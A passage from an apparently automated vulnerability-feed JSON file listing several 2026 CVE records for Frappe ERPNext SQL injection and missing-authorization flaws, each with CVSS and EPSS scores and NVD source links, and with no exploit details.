CVE-2026-109650","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109650","type":"primary","publishedAt":"2026-10-12T23:17:31.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109650, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109649","cveId":"CVE-2026-109649","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.102.0 and 16.x before 16.11.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database...","summary":"Frappe ERPNext before 15.102.0 and 16.x before 16.11.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers can send specially crafted requests to the affected endpoints to extract sensitive information from the database.","detail":"Frappe ERPNext before 15.102.0 and 16.x before 16.11.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers can send specially crafted requests to the affected endpoints to extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:31.213Z","updatedAt":"2026-10-13T14:17:28.747Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109649","asOf":"2026-10-13T14:17:28.747Z"},"epss":{"probability":0.00276,"percentile":0.19854,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109649","type":"primary","publishedAt":"2026-10-12T23:17:31.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109648","cveId":"CVE-2026-109648","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation.","summary":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated attackers can send specially crafted requests to inject SQL into database queries and extract sensitive information from the underlying database.","detail":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated attackers can send specially crafted requests to inject SQL into database queries and extract sensitive information from the underlying database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:31.050Z","updatedAt":"2026-10-13T17:17:30.890Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109648","asOf":"2026-10-13T17:17:30.890Z"},"epss":{"probability":0.00276,"percentile":0.19854,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109648","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109648","type":"primary","publishedAt":"2026-10-12T23:17:31.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109647","cveId":"CVE-2026-109647","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in multiple endpoints caused by missing input validation.","summary":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in multiple endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the ERPNext database.","detail":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in multiple endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the ERPNext database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:30.823Z","updatedAt":"2026-10-14T13:17:27.183Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109647","asOf":"2026-10-14T13:17:27.183Z"},"epss":{"probability":0.00276,"percentile":0.19855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109647&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109647","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109647","type":"primary","publishedAt":"2026-10-12T23:17:30.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109647&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109647, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109646","cveId":"CVE-2026-109646","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation.","summary":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated low-privileged attackers can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.","detail":"Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated low-privileged attackers can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:30.580Z","updatedAt":"2026-10-15T15:17:27.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109646","asOf":"2026-10-15T15:17:27.120Z"},"epss":{"probability":0.00276,"percentile":0.19853,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109646&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109646","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109646","type":"primary","publishedAt":"2026-10-12T23:17:30.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109646&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109646, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109645","cveId":"CVE-2026-109645","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks.","summary":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated attackers can send requests to these endpoints to create records and modify data beyond their permitted role, bypassing intended role-based access restrictions.","detail":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks. Authenticated attackers can send requests to these endpoints to create records and modify data beyond their permitted role, bypassing intended role-based access restrictions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:30.397Z","updatedAt":"2026-10-18T13:16:34.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109645","asOf":"2026-10-18T13:16:34.580Z"},"epss":{"probability":0.00247,"percentile":0.15795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109645","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109645","type":"primary","publishedAt":"2026-10-12T23:17:30.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109645, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109644","cveId":"CVE-2026-109644","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks on...","summary":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks on valuation data. Authenticated low-privileged users can query these endpoints to read valuation information beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks on valuation data. Authenticated low-privileged users can query these endpoints to read valuation information beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:30.220Z","updatedAt":"2026-10-13T14:17:28.613Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109644","asOf":"2026-10-13T14:17:28.613Z"},"epss":{"probability":0.00258,"percentile":0.17241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109644","type":"primary","publishedAt":"2026-10-12T23:17:30.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109643","cveId":"CVE-2026-109643","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a missing authorization vulnerability in certain project-related endpoints that fail to enforce permission checks.","summary":"Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a missing authorization vulnerability in certain project-related endpoints that fail to enforce permission checks. Authenticated low-privileged users can call these endpoints directly to read project data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a missing authorization vulnerability in certain project-related endpoints that fail to enforce permission checks. Authenticated low-privileged users can call these endpoints directly to read project data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:30.057Z","updatedAt":"2026-10-13T17:17:30.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109643","asOf":"2026-10-13T17:17:30.777Z"},"epss":{"probability":0.00258,"percentile":0.17242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109643","type":"primary","publishedAt":"2026-10-12T23:17:30.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109640","cveId":"CVE-2026-109640","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 16.22.0 contains a missing authorization vulnerability that allows authenticated users to modify records by invoking endpoints lacking proper authorization...","summary":"Frappe ERPNext before 16.22.0 contains a missing authorization vulnerability that allows authenticated users to modify records by invoking endpoints lacking proper authorization checks. Attackers can call these endpoints to perform operations on records beyond their permitted role, resulting in unauthorized modification of data.","detail":"Frappe ERPNext before 16.22.0 contains a missing authorization vulnerability that allows authenticated users to modify records by invoking endpoints lacking proper authorization checks. Attackers can call these endpoints to perform operations on records beyond their permitted role, resulting in unauthorized modification of data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:29.560Z","updatedAt":"2026-10-18T12:17:05.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109640","asOf":"2026-10-18T12:17:05.470Z"},"epss":{"probability":0.00223,"percentile":0.1275,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109640","type":"primary","publishedAt":"2026-10-12T23:17:29.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109639","cveId":"CVE-2026-109639","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.102.0 and 16.x before 16.8.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database...","summary":"Frappe ERPNext before 15.102.0 and 16.x before 16.8.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers with low privileges can send specially crafted requests to the affected endpoints to extract sensitive information from the database.","detail":"Frappe ERPNext before 15.102.0 and 16.x before 16.8.0 contains an SQL injection vulnerability in some endpoints due to missing input validation, allowing manipulation of database queries. Authenticated attackers with low privileges can send specially crafted requests to the affected endpoints to extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:29.390Z","updatedAt":"2026-10-13T14:17:28.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109639","asOf":"2026-10-13T14:17:28.490Z"},"epss":{"probability":0.00276,"percentile":0.19856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109639","type":"primary","publishedAt":"2026-10-12T23:17:29.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109638","cveId":"CVE-2026-109638","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation.","summary":"Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.","detail":"Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:29.223Z","updatedAt":"2026-10-13T17:17:30.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109638","asOf":"2026-10-13T17:17:30.657Z"},"epss":{"probability":0.00276,"percentile":0.19854,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109638","type":"primary","publishedAt":"2026-10-12T23:17:29.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109637","cveId":"CVE-2026-109637","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 16.14.0 contains a missing authorization vulnerability that allows authenticated users to modify master data beyond their permitted role.","summary":"Frappe ERPNext before 16.14.0 contains a missing authorization vulnerability that allows authenticated users to modify 